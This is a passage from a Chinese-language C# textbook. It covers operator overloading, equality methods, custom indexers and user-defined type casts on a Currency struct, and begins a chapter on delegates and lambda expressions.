嵌入的类,那么是应比较引用是否指向同一个对象(浅度比较),还是应比较对象的值是 否相等(深度比较)? 浅度比较是比较对象是否指向内存中的同一个位置,而深度比较是比较对象的值和属 性是否相等。应根据具体情况进行相等性检查,从而有助于确定要验证的结果。  注意: 不要通过调用从System.Object中继承的Equals()方法的实例版本来 重载比较运算符。如果这么做,在objA是null时判断(objA==objB),就会产生一个异 常,因为.NET运行库会试图判断null.Equals(objB)。采用其他方法(重写Equals() 方法以调用比较运算符)比较安全。 还需要重载运算符“! =”,采用的方式如下: public static bool operator ! =(Vector left, Vector right) => ! (left == righ t); 现在重写Equals和GetHashCode方法。这些方法应该总是在重写==运算符时进行重 写,否则编译器会报错。 public override bool Equals(object obj) { if (obj == null) return false; return this == (Vector)obj; } public override int GetHashCode() => X.GetHashCode() + (Y.GetHashCode() << 4) + (Z.GetHashCode() << 8); Equals方法可以转而调用==运算符。散列代码的实现应比较快速,且总是对相同的对 象返回相同的值。这个方法在使用字典时很重要。在字典中,它用来建立对象的树,所以 最好把返回值分布到整数范围内。double类型的GetHashCode方法返回double值的整数表 示。对于Vector类型,只是添加底层类型的散列值。如果散列代码有不同的值,例如,值 (5.0, 2.0, 0.0)和(2.0, 5.0, 0.0)——所返回散列值的Y和Z值就按位移动4和8位,再添加 数字。 对于值类型,也应该实现接口IEquatable < T >。这个接口是Equals方法的一个强类型 化版本,由基类Object定义。有了所有其他代码,就很容易实现该方法: public bool Equals(Vector other) => this == other; 像往常一样,应该用一些测试代码快速检查重写方法的工作情况。这次定义3个 Vector对象,并进行比较(代码文件OverloadingComparisonSample/Program.cs): static void Main() { var vect1 = new Vector(3.0, 3.0, -10.0); var vect2 = new Vector(3.0, 3.0, -10.0); var vect3 = new Vector(2.0, 3.0, 6.0); WriteLine($"vect1 == vect2 returns {(vect1 == vect2)}"); WriteLine($"vect1 == vect3 returns {(vect1 == vect3)}"); WriteLine($"vect2 == vect3 returns {(vect2 == vect3)}"); WriteLine(); WriteLine($"vect1 ! = vect2 returns {(vect1 ! = vect2)}"); WriteLine($"vect1 ! = vect3 returns {(vect1 ! = vect3)}"); WriteLine($"vect2 ! = vect3 returns {(vect2 ! = vect3)}"); } 在命令行上运行该示例,生成如下结果: vect1 == vect2 returns True vect1 == vect3 returns False vect2 == vect3 returns False vect1 ! = vect2 returns False vect1 ! = vect3 returns True vect2 ! = vect3 returns True 8.5.4 可以重载的运算符 并不是所有的运算符都可以重载。可以重载的运算符如表8-5所示。 表8-5 类别 运算符 限制 算术二元运算符 +、*、/、-、% 无 算术一元运算符 +、-、++、-- 无 按位二元运算符 &、|、^、<<、>> 无 按位一元运算符 !、~、true、false true和false运算符必须成对重载 比较运算符 ==、! =、>=、<、<=、 > 比较运算符必须成对重载 赋值运算符 +=、-=、*=、/=、 >>=、<<=、%=、 &=、|=、^= 不能显式地重载这些运算符,在 重写单个运算符(如+、-、% 等)时,它们会被隐式地重写 索引运算符 [] 不能直接重载索引运算符。第2 章介绍的索引器成员类型允许在 类和结构上支持索引运算符 类型强制转换运算符 () 不能直接重载类型强制转换运算 符。用户定义的类型强制转换 (本章后面介绍)允许定义定制 的类型强制转换行为  注意: 为什么要重载true和false操作符?有一个很好的原因:根据所使用的 技术或框架,哪些整数值代表true或false是不同的。在许多技术中,0是false,1是true; 其他技术把非0值定义为true,还有一些技术把-1定义为false。 8.6 实现自定义的索引运算符 自定义索引器不能使用运算符重载语法来实现,但是它们可以用与属性非常相似的语 法来实现。 首先看看数组元素的访问。这里创建一个int元素数组。第二行代码使用索引器来访 问第二个元素,并给它传递42。第三行使用索引器来访问第三个元素,并给该元素传递变 量x。 int[] arr1 = {1, 2, 3}; arr1[1] = 42; int x = arr1[2];  注意: 数组在第7章阐述。 CustomIndexerSample使用如下依赖项和名称空间: 依赖项: NETStandard.Library 名称空间: System System.Collections.Generic System.Linq static System.Console 要创建自定义索引器,首先要创建一个Person类,其中包含FirstName、LastName和 Birthday只读属性(代码文件CustomIndexerSample/Person.cs): public class Person { public DateTime Birthday { get; } public string FirstName { get; } public string LastName { get; } public Person(string firstName, string lastName, DateTime birthDay) { FirstName = firstName; LastName = lastName; Birthday = birthDay; } public override string ToString() => $"{FirstName} {LastName}"; } 类PersonCollection定义了一个包含Person元素的私有数组字段,以及一个可以传递许 多Person对象的构造函数(代码文件CustomIndexerSample/PersonCollection.cs): public class PersonCollection { private Person[] _people; public PersonCollection(params Person[] people) { _people = people.ToArray(); } } 为了允许使用索引器语法访问PersonCollection并返回Person对象,可以创建一个索引 器。索引器看起来非常类似于属性,因为它也包含get和set访问器。两者的不同之处是名 称。指定索引器要使用this关键字。this关键字后面的括号指定索引使用的类型。数组提供 int类型的索引器,所以这里使用int类型直接把信息传递给被包含的数组people。get和set 访问器的使用非常类似于属性。检索值时调用get访问器,在右边传递Person对象时调用 set访问器。 public Person this[int index] { get { return _people[index]; } set { _people[index] = value; } } 对于索引器,不能仅定义int类型作为索引类型。任何类型都是有效的,如下面的代 码所示,其中把DateTime结构作为索引类型。这个索引器用来返回有指定生日的每个人。 因为多个人员可以有相同的生日,所以不是返回一个Person对象,而是用接口IEnumerable < Person>返回一个Person对象列表。所使用的Where方法根据lambda表达式进行过滤。 Where方法在名称空间System.Linq中定义: public IEnumerable<Person> this[DateTime birthDay] { get { return _people.Where(p => p.Birthday == birthDay); } } 使用DateTime类型的索引器检索人员对象,但不允许把人员对象设置为只有get访问 器,而没有set访问器。在C# 6中有一个速记符号,可使用表达式主体的成员创建相同的 代码(属性也可使用该语法): public IEnumerable<Person> this[DateTime birthDay] => _people.Where(p => p.Birthday == birthDay); 示例应用程序的Main方法创建一个PersonCollection对象,给构造函数传递四个Person 对象。在第一个WriteLine方法中,使用索引器的get访问器和int参数访问第三个元素。在 foreach循环中,带有DateTime参数的索引器用来传递指定的日期(代码文件 CustomIndexerSample/Program.cs): static void Main() { var p1 = new Person("Ayrton", "Senna", new DateTime(1960, 3, 21)); var p2 = new Person("Ronnie", "Peterson", new DateTime(1944, 2, 14)); var p3 = new Person("Jochen", "Rindt", new DateTime(1942, 4, 18)); var p4 = new Person("Francois", "Cevert", new DateTime(1944, 2, 25)); var coll = new PersonCollection(p1, p2, p3, p4); WriteLine(coll[2]); foreach (var r in coll[new DateTime(1960, 3, 21)]) { WriteLine(r); } ReadLine(); } 运行程序,第一个WriteLine方法把Jochen Rindt写到控制台;foreach循环的结果是 Ayrton Senna,因为他的生日是第二个索引器中指定的日期。 8.7 实现用户定义的类型强制转换 本章前面(见8.3.1节中关于显式转换的部分)介绍了如何在预定义的数据类型之间转 换数值,这通过类型强制转换过程来完成。C#允许进行两种不同类型的强制转换:隐式 强制转换和显式强制转换。本节将讨论这两种类型的强制转换。 显式强制转换要在代码中显式地标记强制转换,即应该在圆括号中写出目标数据类 型: int i = 3; long l = i; // implicit short s = (short)i; // explicit 对于预定义的数据类型,当类型强制转换可能失败或丢失某些数据时,需要显式强制 转换。例如: ● 把int转换为short时,short可能不够大,不能包含对应int的数值。 ● 把有符号的数据类型转换为无符号的数据类型时,如果有符号的变量包含一个负 值,就会得到不正确的结果。 ● 把浮点数转换为整数数据类型时,数字的小数部分会丢失。 ● 把可空类型转换为非可空类型时,null值会导致异常。 此时应在代码中进行显式强制转换,告诉编译器你知道存在丢失数据的危险,因此编 写代码时要把这种可能性考虑在内。 C#允许定义自己的数据类型(结构和类),这意味着需要某些工具支持在自定义的 数据类型之间进行类型强制转换。方法是把类型强制转换运算符定义为相关类的一个成员 运算符。类型强制转换运算符必须标记为隐式或显式,以说明希望如何使用它。我们应遵 循与预定义的类型强制转换相同的指导原则;如果知道无论在源变量中存储什么值,类型 强制转换总是安全的,就可以把它定义为隐式强制转换。然而,如果某些数值可能会出 错,如丢失数据或抛出异常,就应把数据类型转换定义为显式强制转换。  注意: 如果源数据值会使类型强制转换失败,或者可能会抛出异常,就应把 任何自定义类型强制转换定义为显式强制转换。 定义类型强制转换的语法类似于本章前面介绍的重载运算符。这并不是偶然现象,类 型强制转换在某种情况下可以看作是一种运算符,其作用是从源类型转换为目标类型。为 了说明这种语法,下面的代码从本节后面介绍的结构Currency示例中节选而来: public static implicit operator float (Currency value) { // processing } 运算符的返回类型定义了类型强制转换操作的目标类型,它有一个参数,即要转换的 源对象。这里定义的类型强制转换可以隐式地把Currency型的值转换为float型。注意,如 果数据类型转换声明为隐式,编译器就可以隐式或显式地使用这个转换。如果数据类型转 换声明为显式,编译器就只能显式地使用它。与其他运算符重载一样,类型强制转换必须 同时声明为public和static。  注意: C++开发人员应注意,这种情况与C++中的用法不同,在C++中,类 型强制转换用于类的实例成员。 8.7.1 实现用户定义的类型强制转换 本节将在示例SimpleCurrency中介绍隐式和显式的用户定义类型强制转换用法。在这 个示例中,定义一个结构Currency,它包含一个正的USD($)金额。C#为此提供了 decimal类型,但如果要进行比较复杂的财务处理,仍可以编写自己的结构和类来表示相 应的金额,在这样的类上实现特定的方法。  注意: 类型强制转换的语法对于结构和类是一样的。本示例定义了一个结 构,但把Currency声明为类也是可行的。 首先,Currency结构的定义如下所示(代码文件CastingSample/Currency.cs): public struct Currency { public uint Dollars { get; } public ushort Cents { get; } public Currency(uint dollars, ushort cents) { Dollars = dollars; Cents = cents; } public override string ToString() => $"${Dollars}.{Cents, -2:00}"; } Dollars和Cents属性使用无符号的数据类型,可以确保Currency实例只能包含正值。采 用这样的限制是为了在后面说明显式强制转换的一些要点。可以像这样使用一个类来存储 公司员工的薪水信息。员工的薪水不会是负值! 下面先假定要把Currency实例转换为float值,其中float值的整数部分表示美元。换言 之,应编写下面的代码: var balance = new Currency(10, 50); float f = balance; // We want f to be set to 10.5 为此,需要定义一种类型强制转换。给Currency的定义添加下述代码: public static implicit operator float (Currency value) => value.Dollars + (value.Cents/100.0f); 这种类型强制转换是隐式的。在本例中这是一种合理的选择,因为在Currency的定义 中,可以存储在Currency中的值也都可以存储在float数据中。在这种强制转换中,不应出 现任何错误。  注意: 这里有一点欺骗性:实际上,当把uint转换为float时,精确度会降 低,但Microsoft认为这种错误并不重要,因此把从uint到float的类型强制转换都当作隐 式转换。 但是,如果把float型转换为Currency型,就不能保证转换肯定成功了;float型可以存 储负值,而Currency实例不能,且float型存储数值的数量级要比Currency型的(uint) Dollars字段大得多。所以,如果float型包含一个不合适的值,把它转换为Currency型就会 得到意想不到的结果。因此,从float型转换到Currency型就应定义为显式转换。下面是我 们的第一次尝试,这次不会得到正确的结果,但有助于解释原因: public static explicit operator Currency (float value) { uint dollars = (uint)value; ushort cents = (ushort)((value-dollars)*100); return new Currency(dollars, cents); } 下面的代码现在可以成功编译: float amount = 45.63f; Currency amount2 = (Currency)amount; 但是,下面的代码会抛出一个编译错误,因为它试图隐式地使用一个显式的类型强制 转换: float amount = 45.63f; Currency amount2 = amount; // wrong 把类型强制转换声明为显式,就是警告开发人员要小心,因为可能会丢失数据。但这 不是我们希望的Currency结构的行为方式。下面编写一个测试程序,并运行该示例。其中 有一个Main()方法,它实例化一个Currency结构,并试图进行几次转换。在这段代码的 开头,以两种不同的方式计算balance的值,因为要使用它们来说明后面的内容(代码文 件CastingSample/Program.cs): static void Main() { try { var balance = new Currency(50,35); WriteLine(balance); WriteLine($"balance is {balance}"); // implicitly invokes ToString float balance2= balance; WriteLine($"After converting to float, = {balance2}"); balance = (Currency) balance2; WriteLine($"After converting back to Currency, = {balance}"); WriteLine("Now attempt to convert out of range value of " + "-$50.50 to a Currency:"); checked { balance = (Currency) (-50.50); WriteLine($"Result is {balance}"); } } catch(Exception e) { WriteLine($"Exception occurred: {e.Message}"); } } 注意,所有的代码都放在一个try块中,以捕获在类型强制转换过程中发生的任何异 常。在checked块中还添加了把超出范围的值转换为Currency的测试代码,以试图捕获负 值。运行这段代码,得到如下所示的结果: 50.35 Balance is $50.35 After converting to float, = 50.35 After converting back to Currency, = $50.34 Now attempt to convert out of range value of -$50.50 to a Currency: Result is $4294967246.00 这个结果表示代码并没有像我们希望的那样工作。首先,从float型转换回Currency型 得到一个错误的结果$50.34,而不是$50.35。其次,在试图转换明显超出范围的值时,没 有生成异常。 第一个问题是由舍入错误引起的。如果类型强制转换用于把float值转换为uint值,计 算机就会截去多余的数字,而不是执行四舍五入。计算机以二进制而非十进制方式存储数 字,小数部分0.35不能用二进制小数来精确表示(像1/3这样的分数不能精确地表示为十 进制小数,它应等于循环小数0.3333)。所以,计算机最后存储了一个略小于0.35的值, 它可以用二进制格式精确地表示。把该数字乘以100,就会得到一个小于35的数字,它截 去了34美分。显然在本例中,这种由截去引起的错误是很严重的,避免该错误的方式是确 保在数字转换过程中执行智能的四舍五入操作。 幸运的是,Microsoft编写了一个类System.Convert来完成该任务。System.Convert对象 包含大量的静态方法来完成各种数字转换,我们需要使用的是Convert.ToUInt16()。注 意,在使用System.Convert类的方法时会造成额外的性能损失,所以只应在需要时使用它 们。 下面看看为什么没有抛出期望的溢出异常。此处的问题是溢出异常实际发生的位置根 本不在Main()例程中——它是在强制转换运算符的代码中发生的,该代码在Main() 方法中调用,而且没有标记为checked。 其解决方法是确保类型强制转换本身也在checked环境下进行。进行了这两处修改 后,修订的转换代码如下所示。 public static explicit operator Currency (float value) { checked { uint dollars = (uint)value; ushort cents = Convert.ToUInt16((value-dollars)*100); return new Currency(dollars, cents); } } 注意,使用Convert.ToUInt16()计算数字的美分部分,如上所示,但没有使用它计 算数字的美元部分。在计算美元值时不需要使用System.Convert,因为在此我们希望截去 float值。  注意: System.Convert类的方法还执行它们自己的溢出检查。因此对于本例 的情况,不需要把对Convert.ToUInt16()的调用放在checked环境下。但把value显式地 强制转换为美元值仍需要checked环境。 这里没有给出这个新的checked强制转换的结果,因为在本节后面还要对 SimpleCurrency示例进行一些修改。  注意: 如果定义了一种使用非常频繁的类型强制转换,其性能也非常好,就 可以不进行任何错误检查。如果对用户定义的类型强制转换和没有检查的错误进行了 清晰的说明,这也是一种合理的解决方案。 1.类之间的类型强制转换 Currency示例仅涉及与float(一种预定义的数据类型)来回转换的类。但类型转换不 一定会涉及任何简单的数据类型。定义不同结构或类的实例之间的类型强制转换是完全合 法的,但有两点限制: ● 如果某个类派生自另一个类,就不能定义这两个类之间的类型强制转换(这些类型 的强制转换已经存在)。 ● 类型强制转换必须在源数据类型或目标数据类型的内部定义。 为说明这些要求,假定有如图8-1所示的类层次结构。 图8-1 换言之,类C和D间接派生于A。在这种情况下,在 A、B、C或D之间唯一合法的自定义类型强制转换就是类 C和D之间的转换,因为这些类并没有互相派生。对应的 代码如下所示(假定希望类型强制转换是显式的,这是在 用户定义的类之间定义类型强制转换的通常情况): public static explicit operator D(C value) { //... } public static explicit operator C(D value) { //... } 对于这些类型强制转换,可以选择放置定义的地方——在C的类定义内部,或者在D 的类定义内部,但不能在其他地方定义。C#要求把类型强制转换的定义放在源类(或结 构)或目标类(或结构)的内部。这一要求的副作用是不能定义两个类之间的类型强制转 换,除非至少可以编辑其中一个类的源代码。这是因为,这样可以防止第三方把类型强制 转换引入类中。 一旦在一个类的内部定义了类型强制转换,就不能在另一个类中定义相同的类型强制 转换。显然,对于每一种转换只能有一种类型强制转换,否则编译器就不知道该选择哪个 类型强制转换了。 2.基类和派生类之间的类型强制转换 要了解这些类型强制转换是如何工作的,首先看看源和目标数据类型都是引用类型的 情况。考虑两个类MyBase和MyDerived,其中MyDerived直接或间接派生自MyBase。 首先是从MyDerived到MyBase的转换,代码如下(假定提供了构造函数): MyDerived derivedObject = new MyDerived(); MyBase baseCopy = derivedObject; 在本例中,是从MyDerived隐式地强制转换为MyBase。这是可行的,因为对类型 MyBase的任何引用都可以引用MyBase类的对象或派生自MyBase的对象。在OO编程中, 派生类的实例实际上是基类的实例,但加入了一些额外的信息。在基类上定义的所有函数 和字段也都在派生类上得到定义。 下面看看另一种方式,编写如下的代码: MyBase derivedObject = new MyDerived(); MyBase baseObject = new MyBase(); MyDerived derivedCopy1 = (MyDerived) derivedObject; // OK MyDerived derivedCopy2 = (MyDerived) baseObject; // Throws exception 上面的代码都是合法的C#代码(从语法的角度来看是合法的),它说明了把基类强 制转换为派生类。但是,在执行时最后一条语句会抛出一个异常。在进行类型强制转换 时,会检查被引用的对象。因为基类引用原则上可以引用一个派生类的实例,所以这个对 象可能是要强制转换的派生类的一个实例。如果是这样,强制转换就会成功,派生的引用 设置为引用这个对象。但如果该对象不是派生类(或者派生于这个类的其他类)的一个实 例,强制转换就会失败,并抛出一个异常。 注意,编译器已经提供了基类和派生类之间的强制转换,这种转换实际上并没有对讨 论的对象进行任何数据转换。如果要进行的转换是合法的,它们也仅是把新引用设置为对 对象的引用。这些强制转换在本质上与用户定义的强制转换不同。例如,在前面的 SimpleCurrency示例中,我们定义了Currency结构和float数之间的强制转换。在float型到 Currency型的强制转换中,实际上实例化了一个新的Currency结构,并用要求的值初始化 它。在基类和派生类之间的预定义强制转换则不是这样。如果实际上要把MyBase实例转 换为真实的MyDerived对象,该对象的值根据MyBase实例的内容来确定,就不能使用类型 强制转换语法。最合适的选项通常是定义一个派生类的构造函数,它以基类的实例作为参 数,让这个构造函数完成相关的初始化: class DerivedClass: BaseClass { public DerivedClass(BaseClass base) { // initialize object from the Base instance } // etc. 3.装箱和拆箱类型强制转换 前面主要讨论了基类和派生类之间的类型强制转换,其中,基类和派生类都是引用类 型。类似的原则也适用于强制转换值类型,尽管在转换值类型时,不可能仅仅复制引用, 还必须复制一些数据。 当然,不能从结构或基本值类型中派生。所以基本结构和派生结构之间的强制转换总 是基本类型或结构与System.Object之间的转换(理论上可以在结构和System.ValueType之 间进行强制转换,但一般很少这么做)。 从结构(或基本类型)到object的强制转换总是一种隐式的强制转换,因为这种强制 转换是从派生类型到基本类型的转换,即第2章简要介绍的装箱过程。例如,使用 Currency结构: var balance = new Currency(40,0); object baseCopy = balance; 在执行上述隐式的强制转换时,balance的内容被复制到堆上,放在一个装箱的对象 中,并且baseCopy对象引用被设置为该对象。在后台实际发生的情况是:在最初定义 Currency结构时,.NET Framework隐式地提供另一个(隐藏的)类,即装箱的Currency 类,它包含与Currency结构相同的所有字段,但它是一个引用类型,存储在堆上。无论定 义的这个值类型是一个结构,还是一个枚举,定义它时都存在类似的装箱引用类型,对应 于所有的基本值类型,如int、double和uint等。不能也不必在源代码中直接通过编程访问 某些装箱类,但在把一个值类型强制转换为object型时,它们是在后台工作的对象。在隐 式地把Currency转换为object时,会实例化一个装箱的Currency实例,并用Currency结构中 的所有数据进行初始化。在上面的代码中,baseCopy对象引用的就是这个已装箱的 Currency实例。通过这种方式,就可以实现从派生类型到基本类型的强制转换,并且值类 型的语法与引用类型的语法一样。 强制转换的另一种方式称为拆箱。与在基本引用类型和派生引用类型之间的强制转换 一样,这是一种显式的强制转换,因为如果要强制转换的对象不是正确的类型,就会抛出 一个异常: object derivedObject = new Currency(40,0); object baseObject = new object(); Currency derivedCopy1 = (Currency)derivedObject; // OK Currency derivedCopy2 = (Currency)baseObject; // Exception thrown 上述代码的工作方式与前面关于引用类型的代码一样。把derivedObject强制转换为 Currency会成功执行,因为derivedObject实际上引用的是装箱Currency实例——强制转换 的过程是把已装箱的Currency对象的字段复制到一个新的Currency结构中。第二种强制转 换会失败,因为baseObject没有引用已装箱的Currency对象。 在使用装箱和拆箱时,这两个过程都把数据复制到新装箱或拆箱的对象上,理解这一 点非常重要。这样,对装箱对象的操作就不会影响原始值类型的内容。 8.7.2 多重类型强制转换 在定义类型强制转换时必须考虑的一个问题是,如果在进行要求的数据类型转换时没 有可用的直接强制转换方式,C#编译器就会寻找一种转换方式,把几种强制转换合并起 来。例如,在Currency结构中,假定编译器遇到下面几行代码: var balance = new Currency(10,50); long amount = (long)balance; double amountD = balance; 首先初始化一个Currency实例,再把它转换为long型。问题是没有定义这样的强制转 换。但是,这段代码仍可以编译成功。因为编译器知道我们已经定义一个从Currency到 float的隐式强制转换,而且它知道如何显式地从float强制转换为long。所以它会把这行代 码编译为中间语言(IL)代码,IL代码首先把balance转换为float型,再把结果转换为long 型。把balance转换为double型时,在上述代码的最后一行中也执行了同样的操作。因为从 Currency到float的强制转换和从float到double的预定义强制转换都是隐式的,所以可以在 编写代码时把这种转换当作一种隐式转换。如果要显式地指定强制转换过程,则可以编写 如下代码: var balance = new Currency(10,50); long amount = (long)(float)balance; double amountD = (double)(float)balance; 但是在大多数情况下,这会使代码变得比较复杂,因此是不必要的。相比之下,下面 的代码会产生一个编译错误: var balance = new Currency(10,50); long amount = balance; 原因是编译器可以找到的最佳匹配转换仍是首先转换为float型,再转换为long型。但 需要显式地指定从float型到long型的转换。 并非所有这些转换都会带来太多的麻烦。毕竟转换的规则非常直观,主要是为了防止 在开发人员不知情的情况下丢失数据。但是,在定义类型强制转换时如果不小心,编译器 就有可能指定一条导致不期望结果的路径。例如,假定编写Currency结构的其他小组成员 要把一个uint数据转换为Currency型,其中该uint数据中包含了美分的总数(是美分而非美 元,因为我们不希望丢失美元的小数部分)。为此应编写如下代码来实现强制转换: // Do not do this! public static implicit operator Currency (uint value) => new Currency(value/100u, (ushort)(value%100)); 注意,在这段代码中,第一个100后面的u可以确保把value/100u解释为一个uint值。如 果写成value/100,编译器就会把它解释为一个int型的值,而不是uint型的值。 在这段代码中清楚地标注了“Do not do it(不要这么做)”。下面说明其原因。看看下 面的代码段,它把包含值350的一个uint数据转换为一个Currency,再转换回uint型。那么 在执行完这段代码后,bal2中又将包含什么? uint bal = 350; Currency balance = bal; uint bal2 = (uint)balance; 答案不是350,而是3!而且这是符合逻辑的。我们把350隐式地转换为Currency,得 到的结果是balance.Dollars=3和balance.Cents=50。然后编译器进行通常的操作,为转换回 uint型指定最佳路径。balance最终会被隐式地转换为float型(其值为3.5),然后显式地转 换为uint型,其值为3。 当然,在其他示例中,转换为另一种数据类型后,再转换回来有时会丢失数据。例 如,把包含5.8的float数值转换为int数值,再转换回float数值,会丢失数字中的小数部分, 得到5,但原则上,丢失数字的小数部分和一个整数被大于100的数整除的情况略有区别。 Currency现在成为一种相当危险的类,它会对整数进行一些奇怪的操作。 问题是,在转换过程中如何解释整数存在冲突。从Currency型到float型的强制转换会 把整数1解释为1美元,但从uint型到Currency型的强制转换会把这个整数解释为1美分,这 是很糟糕的一个示例。如果希望类易于使用,就应确保所有的强制转换都按一种互相兼容 的方式执行,即这些转换直观上应得到相同的结果。在本例中,显然要重新编写从uint型 到Currency型的强制转换,把整数值1解释为1美元: public static implicit operator Currency (uint value) => new Currency(value, 0); 偶尔你也会觉得这种新的转换方式可能根本不必要。但实际上,这种转换方式可能非 常有用。没有这种强制转换,编译器在执行从uint型到Currency型的转换时,就只能通过 float型来进行。此时直接转换的效率要高得多,所以进行这种额外的强制转换会提高性 能,但需要确保它的结果与通过float型进行转换得到的结果相同。在其他情况下,也可以 为不同的预定义数据类型分别定义强制转换,让更多的转换隐式地执行,而不是显式地执 行,但本例不是这样。 测试这种强制转换是否兼容,应确定无论使用什么转换路径,它是否都能得到相同的 结果(而不是像在从float型到int型的转换过程中那样丢失数据)。Currency类就是一个很 好的示例。看看下面的代码: var balance = new Currency(50, 35); ulong bal = (ulong) balance; 目前,编译器只能采用一种方式来完成这个转换:把Currency型隐式地转换为float 型,再显式地转换为ulong型。从float型到ulong型的转换需要显式转换,本例就显式指定 了这个转换,所以编译是成功的。 但假定要添加另一种强制转换,从Currency型隐式地转换为uint型,就需要修改 Currency结构,添加从uint型到Currency型的强制转换和从Currency型到uint型的强制转 换。这段代码可以用作SimpleCurrency2示例(代码文件CastingSample/Currency.cs): public static implicit operator Currency (uint value) => new Currency(value, 0); public static implicit operator uint (Currency value) => value.Dollars; 现在,编译器从Currency型转换到ulong型可以使用另一条路径:先从Currency型隐式 地转换为uint型,再隐式地转换为ulong型。该采用哪条路径?C#有一些严格的规则(本书 不详细讨论这些规则,有兴趣的读者可参阅MSDN文档),告诉编译器如何确定哪条是最 佳路径。但最好自己设计类型强制转换,让所有的转换路径都得到相同的结果(但没有精 确度的损失),此时编译器选择哪条路径就不重要了(在本例中,编译器会选择 Currency→uint→ulong路径,而不是Currency→float→ulong路径)。 为了测试SimpleCurrency2示例,给SimpleCurrency测试程序中的Main()方法添加如 下代码(代码文件CastingSample/Program.cs): static void Main() { try { var balance = new Currency(50,35); WriteLine(balance); WriteLine($"balance is {balance}"); uint balance3 = (uint) balance; WriteLine($"Converting to uint gives {balance3}"); } catch (Exception ex) { WriteLine($"Exception occurred: {e.Message}"); } } 运行这个示例,得到如下所示的结果: 50 balance is $50.35 Converting to uint gives 50 这个结果显示了到uint型的转换是成功的,但在转换过程中丢失了Currency的美分部 分(小数部分)。把负的float类型强制转换为Currency型也产生了预料中的溢出异常,因 为float型到Currency型的强制转换本身定义了一个checked环境。 但是,这个输出结果也说明了进行强制转换时最后一个要注意的潜在问题:结果的第 一行没有正确显示余额,显示了50,而不是$50.35。 这是为什么?问题是在把类型强制转换和方法重载合并起来时,会出现另一个不希望 的错误源。 WriteLine()语句使用格式字符串隐式地调用Currency.ToString()方法,以确保 Currency显示为一个字符串。 但是,第1行的Console.WriteLine()方法只把原始Currency结构传递给 Console.WriteLine()。目前Console.WriteLine()有许多重载版本,但它们的参数都不 是Currency结构。所以编译器会到处搜索,看看它能把Currency强制转换为什么类型,以 便与Console.WriteLine()的一个重载方法匹配。如上所示,Console.WriteLine()的一 个重载方法可以快速而高效地显示uint型,且其参数是一个uint值。因此应把Currency隐式 地强制转换为uint型。 实际上,Console.WriteLine()有另一个重载方法,它的参数是一个double值,结果 显示该double的值。如果仔细看看第一个SimpleCurrency示例的结果,就会发现该结果的 第1行就是使用这个重载方法把Currency显示为double型。在这个示例中,没有直接把 Currency强制转换为uint型,所以编译器选择Currency→float→double作为可用于 Console.WriteLine()重载方法的首选强制转换方式。但在SimpleCurrency2中可以直接强 制转换为uint型,所以编译器会选择该路径。 结论是:如果方法调用带有多个重载方法,并要给该方法传送参数,而该参数的数据 类型不匹配任何重载方法,就可以迫使编译器确定使用哪些强制转换方式进行数据转换, 从而决定使用哪个重载方法(并进行相应的数据转换)。当然,编译器总是按逻辑和严格 的规则来工作,但结果可能并不是我们所期望的。如果存在任何疑问,最好指定显式地使 用哪种强制转换。 8.8 小结 本章介绍了C#提供的标准运算符,描述了对象的相等性机制,讨论了编译器如何把 一种标准数据类型转换为另一种标准数据类型。本章还阐述了如何使用运算符重载在自己 的数据类型上实现自定义运算符。最后,讨论了运算符重载的一种特殊类型,即类型强制 转换运算符,它允许用户指定如何将自定义类型的实例转换为其他数据类型。 第9章将介绍委托、lambda表达式和事件。 第9章 委托、Iambda表达式和事件 本章要点 ● 委托 ● lambda表达式 ● 闭包 ● 事件 ● 弱事件 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件: ● 简单委托(Simple Delegates) ● 冒泡排序(Bubble Sorter) ● lambda表达式(lambda Expressions) ● 事件示例(Events Sample) ● 弱事件(Weak Events) 9.1 引用方法 委托是寻址方法的.NET版本。在C++中,函数指针只不过是一个指向内存位置的指 针,它不是类型安全的。我们无法判断这个指针实际指向什么,像参数和返回类型等项就 更无从知晓了。而.NET委托完全不同;委托是类型安全的类,它定义了返回类型和参数 的类型。委托类不仅包含对方法的引用,也可以包含对多个方法的引用。 lambda表达式与委托直接相关。当参数是委托类型时,就可以使用lambda表达式实现 委托引用的方法。 本章介绍委托和lambda表达式的基础知识,说明如何通过lambda表达式实现委托方法 调用,并阐述.NET如何将委托用作实现事件的方式。 9.2 委托 当要把方法传送给其他方法时,就需要使用委托。要了解具体的含义,可以看看下面 一行代码: int i = int.Parse("99"); 我们习惯于把数据作为参数传递给方法,如上面的例子所示。所以,给方法传递另一 个方法听起来有点奇怪。而有时某个方法执行的操作并不是针对数据进行的,而是要对另 一个方法进行调用。更麻烦的是,在编译时我们不知道第二个方法是什么,这个信息只能 在运行时得到,所以需要把第二个方法作为参数传递给第一个方法。这听起来很令人迷 惑,下面用几个示例来说明: ● 启动线程和任务 ——在C#中,可以告诉计算机并行运行某些新的执行序列,同时 运行当前的任务。这种序列就称为线程,在一个基类System.Threading.Thread的实 例上使用方法Start(),就可以启动一个线程。如果要告诉计算机启动一个新的 执行序列,就必须说明要在哪里启动该序列;必须为计算机提供开始启动的方法 的细节,即Thread类的构造函数必须带有一个参数,该参数定义了线程调用的方 法。 ● 通用库类 ——许多库包含执行各种标准任务的代码。这些库通常可以自我包含, 这样在编写库时,就会知道任务该如何执行。但是有时在任务中还包含子任务, 只有使用该库的客户端代码才知道如何执行这些子任务。例如,假设要编写一个 类,它带有一个对象数组,并把它们按升序排列。但是,排序的部分过程会涉及 重复使用数组中的两个对象,比较它们,看看哪一个应放在前面。如果要编写的 类必须能对任何对象数组排序,就无法提前告诉计算机应如何比较对象。处理类 中对象数组的客户端代码也必须告诉类如何比较要排序的特定对象。换言之,客 户端代码必须给类传递某个可以调用并进行这种比较的合适方法的细节。 ● 事件 ——一般的思路是通知代码发生了什么事件。GUI编程主要处理事件。在引发 事件时,运行库需要知道应执行哪个方法。这就需要把处理事件的方法作为一个 参数传递给委托。这些将在本章后面讨论。 在C和C++中,只能提取函数的地址,并作为一个参数传递它。C没有类型安全性, 可以把任何函数传递给需要函数指针的方法。但是,这种直接方法不仅会导致一些关于类 型安全性的问题,而且没有意识到:在进行面向对象编程时,几乎没有方法是孤立存在 的,而是在调用方法前通常需要与类实例相关联。所以.NET Framework在语法上不允许 使用这种直接方法。如果要传递方法,就必须把方法的细节封装在一种新的对象类型中, 即委托。委托只是一种特殊类型的对象,其特殊之处在于,我们以前定义的所有对象都包 含数据,而委托包含的只是一个或多个方法的地址。 9.2.1 声明委托 